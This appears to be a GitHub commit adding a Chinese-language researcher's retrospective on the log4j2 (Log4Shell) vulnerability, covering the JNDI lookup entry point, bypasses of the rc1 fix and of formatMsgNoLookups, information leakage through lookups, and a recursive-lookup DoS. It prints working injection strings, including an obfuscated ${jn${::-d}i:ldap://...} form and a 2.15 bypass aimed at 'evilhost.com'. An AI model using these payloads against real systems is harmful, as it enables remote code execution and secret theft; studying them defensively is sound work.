Skip to content

Commit 7d7b7cd

Browse files
authored
Create 闲谈log4j2.md
1 parent bd7bd4c commit 7d7b7cd

1 file changed

Lines changed: 121 additions & 0 deletions

File tree

java日常/闲谈log4j2.md

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
# 闲谈log4j2
2+
3+
## log4j2爆炸漏洞
4+
5+
简单的说一下最近这个log4j2漏洞吧,这个漏洞自己也跟了有一段时间了。第一次在学长那听到了这个漏洞,当时只是跟但了jndi注入点并没有发现漏洞的入口,也就是${jndi:ldap://127.0.0.1/exp}.一方面是没有想到这个功能,但是之后感觉官方文档里面说了[文档](https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup),可能是自己语文水平不太好。(有点吃亏。。。
6+
7+
## 挖掘新问题
8+
9+
然后就是复现漏洞。挖新的问题。当时第一时间感觉这个东西肯定有问题,第一时间就想到了dos。
10+
11+
![image-20211218215051277](https://user-images.githubusercontent.com/63966847/146644571-d87566e9-ac55-44f7-aaf3-0a64beb97b01.png)
12+
13+
14+
当时因为环境没有配置起就去睡觉了,当时已经是晚上的3点了。
15+
16+
说一下我当时发现的dos问题大致是因为数组长度我们可以控制造成溢出。第二天中午我大哥就提交了dos漏洞。之后就没有管了。
17+
18+
## 绕过rc1
19+
20+
在然后说一下绕过rc1吧这个东西虽然简单但是我调试了一下午,大概是因为对异常没有处理,也就是在catch中没有return,导致程序会继续执行。
21+
22+
![Q`X GHE7UL3 IBYUAB0EFW](https://user-images.githubusercontent.com/63966847/146644576-d80164ab-1879-4e01-a50e-626f1c99bf5e.png)
23+
24+
25+
所以绕过思路就直接让new url(name) 抛出异常就欧克。
26+
27+
tips:和bypass7u21差不多。。。
28+
29+
## 修复问题
30+
31+
```
32+
今天看陈师傅写的文章,也就是修复log4j的坑。
33+
在漏洞报出来的时候修复的方法是:
34+
35+
1.设置配置文件参数 log4j2.formatMsgNoLookups=true,
36+
2.vm启动环境参数 -Dlog4j2.formatMsgNolookups=true,
37+
3,设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
38+
而这样的修复是打破这个判断
39+
```
40+
41+
![image-20211215142114290](https://user-images.githubusercontent.com/63966847/146644579-6ed47eaf-8666-42ed-be31-7a01d83d860c.png)
42+
43+
44+
认真看该代码其实在下面还有一个入口。
45+
46+
47+
![image-20211215142251448](https://user-images.githubusercontent.com/63966847/146644583-ac2f76eb-028d-4afb-8f72-e5848746b49c.png)
48+
49+
可以看到判断条件是 **msg instanceof StringBuilderFormattable**
50+
51+
所以可以走第二个入口就绕过了log4j2.formatMsgNoLookups=true的判断
52+
53+
```java
54+
log.printf(Level.ERROR,"${jndi:ldap://127.0.0.1:2333}");
55+
```
56+
57+
>https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098698&idx=1&sn=8c66b476cb303bdf413337bc5c92e127&chksm=803c6643b74bef55d1606a424e555ef09e27b8736928acdca027332453c6d9e4d7a11d7e589d&mpshare=1&scene=23&srcid=1215Twk8iymC8x9gXD72dMTK&sharer_sharetime=1639550097318&sharer_shareid=20feca07eb3065d70e5194c2cdd097b3#rd
58+
>
59+
>https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
60+
61+
## 信息泄露
62+
63+
信息泄露这个问题我在漏洞刚刚出来的那天晚上就想到了,只是对比rce,信息泄露就微不足道。因为log4j2支持很多协议 sys等等可以看到env等等这些的信息,然后通过dns带出来。
64+
65+
不过值得说一下其中有一个思路通过ResourceBundleLookup类去获得读取项目中后缀为properties的配置文件,其中就可能有username/password。当时我是看到了只是不知道这个方法是干啥子的也没有去百度。。。哭死了。
66+
67+
https://mp.weixin.qq.com/s?__biz=Mzg4OTExMjE2Mw==&mid=2247483945&idx=1&sn=b15b68d95da83bb20f1b3496396f823a&chksm=cff19125f88618338373a32f98be3d2a9497b464d6531658c2aa96f4872c23eed294441917b5&mpshare=1&scene=23&srcid=1211aS0Tghr1agBnBRlwwGTw&sharer_sharetime=1639232420884&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd
68+
69+
https://www.cnblogs.com/jona-test/p/11399218.html
70+
71+
## bypass
72+
73+
这个东西太多了,在tw一看就很多很多。一方面是因为一些协议可以返回输入的值比如:lower data
74+
75+
还有一个bypass思路是因为执行解析log4j2中的${}问题。简单的说也是将${::-x}解析成x
76+
77+
```
78+
${jn${::-d}i:ldap://127.0.0.1:8880/}
79+
```
80+
81+
## cve-dos
82+
83+
大哥成功获得apache的cve。https://xz.aliyun.com/t/10670
84+
85+
简单的看了一下发现里面的思路和我不一样,大哥是想到了网络连接,也就可以存在一个网络超时的问题,而且log4j2支持递归解析。。所以就让他一直解析网络超时的ip...造成dos.
86+
87+
在这个cve通报中发现存在rce?简单的看了一下,我的理解是因为配置文件配置的这一次解析问题,如下配置中就有$${}这样。
88+
89+
```
90+
<Appenders>
91+
<Console name="STDOUT" target="SYSTEM_OUT">
92+
<PatternLayout>
93+
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
94+
</PatternLayout>
95+
</Console>
96+
</Appenders>
97+
```
98+
99+
而其中里面了ctx协议ContextMapLookup类,简单的说大概就是将我们解析的东西放到map里面然后在取出来。取出来之后在解析${xxxx}就造成了rce问题/dos问题。
100+
101+
## bypass 2.15
102+
103+
昨天在tw上看到了bypass 2.15版本,这个东西还没有具体去复现。不过看了一下exp大致懂了。。
104+
105+
```
106+
${jndi:ldap://127.0.0.1#evilhost.com:1389/exp}
107+
```
108+
109+
不过环境要求比较严格而且真实环境的rce可能比较可能。。。
110+
111+
## 总结一下
112+
113+
主要是自己的问题,
114+
115+
第一点是读文档的习惯少导致不理解其中的意思失去第一时间拥有exp
116+
117+
第二点是自己没有考虑到dos中的网络连接超时问题。
118+
119+
第三点是自己发现了ResourceBundleLookup类却不知道其意思导致失去新思路的发现。
120+
121+
(如果官方在删除lookup功能我相信还会有更多的漏洞。。。。。。。。

0 commit comments

Comments
 (0)